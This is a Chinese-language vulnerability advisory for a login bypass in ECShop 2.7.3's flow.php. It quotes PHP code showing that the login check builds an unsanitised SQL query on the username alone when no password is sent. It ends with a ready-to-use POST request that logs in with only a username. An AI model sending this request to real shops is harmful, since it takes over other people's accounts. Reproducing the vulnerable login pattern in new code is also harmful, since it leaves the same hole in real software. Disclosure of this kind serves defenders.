ecshop 2.7.3 /flow.php 登录绕过漏洞

基本字段

漏洞编号：: SSV-88697

披露/发现时间：: 2014-06-12

提交时间：: 2014-07-09

漏洞等级：

漏洞类别：: 登录绕过

影响组件：: ECSHOP
(2.7.3)

漏洞作者：: 未知

提交者：: Knownsec

CVE-ID：: 补充

CNNVD-ID：: 补充

CNVD-ID：: 补充

ZoomEye Dork：: 补充

来源

漏洞详情

贡献者 Knownsec 共获得 2.55KB

影响文件:flow.php 188行开始 <pre class="">elseif ($_REQUEST['step'] == 'login') { include_once('languages/'. $_CFG['lang']. '/user.php'); /* * 用户登录注册 */ if ($_SERVER['REQUEST_METHOD'] == 'GET') ..... else { include_once('includes/lib_passport.php'); if (!empty($_POST['act']) && $_POST['act'] == 'signin') { $captcha = intval($_CFG['captcha']); if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_ SESSION['login_fail'] > 2)) && gd_version() > 0) { if (empty($_POST['captcha'])) { show_message($_LANG['invalid_captcha']); } /* 检查验证码 */ include_once('includes/cls_captcha.php'); $validator = new captcha(); $validator->session_word = 'captcha_login'; if (!$validator->check_word($_POST['captcha'])) { show_message($_LANG['invalid_captcha']); } } if ($user->login($_POST['username'], $_POST['password'],isset($_POST['remember']))) { ..... } </pre>上面代码中执行了 登录操作 $user>login($_POST['username'], $_POST['password'],isset($_POST['remember'])login方法如下：<pre class="">function login($username, $password, $remember = null) { if ($this->check_user($username, $password) > 0) { if ($this->need_sync) { $this->sync($username,$password); } $this->set_session($username); $this->set_cookie($username, $remember); return true; } else { return false; } } function check_user($username, $password = null) { $post_username = $username; /* 如果没有定义密码则只检查用户名 */ if ($password === null) { $sql = "SELECT " . $this->field_id . " FROM " . $this->table($this->user_table). " WHERE " . $this->field_name . "='" . $post_username . "'"; return $this->db->getOne($sql); } else { $sql = "SELECT " . $this->field_id . " FROM " . $this->table($this->user_table). " WHERE " . $this->field_name . "='" . $post_username . "' AND " . $this->field_pass . " ='" . $this-> compile_password(array('password'=>$password)) . "'"; return $this->db->getOne($sql); } } </pre>登录操作最终执行check_user方法，当用户密码为null时，只判断用户名。而在flow.php中并没有对密码进行判断或者初始化。可以只通过账号就可以实现登录。 漏洞利用过程url:.xxx.com/flow.php?step=login POST:act=signin&username=xxxx&captcha=yyyyycaptcha是验证码，有时候是不需要验证码的<img alt="1.png" src="https://images.seebug.org/@/uploads/1434684326596-1.png" data-image-size="865,478">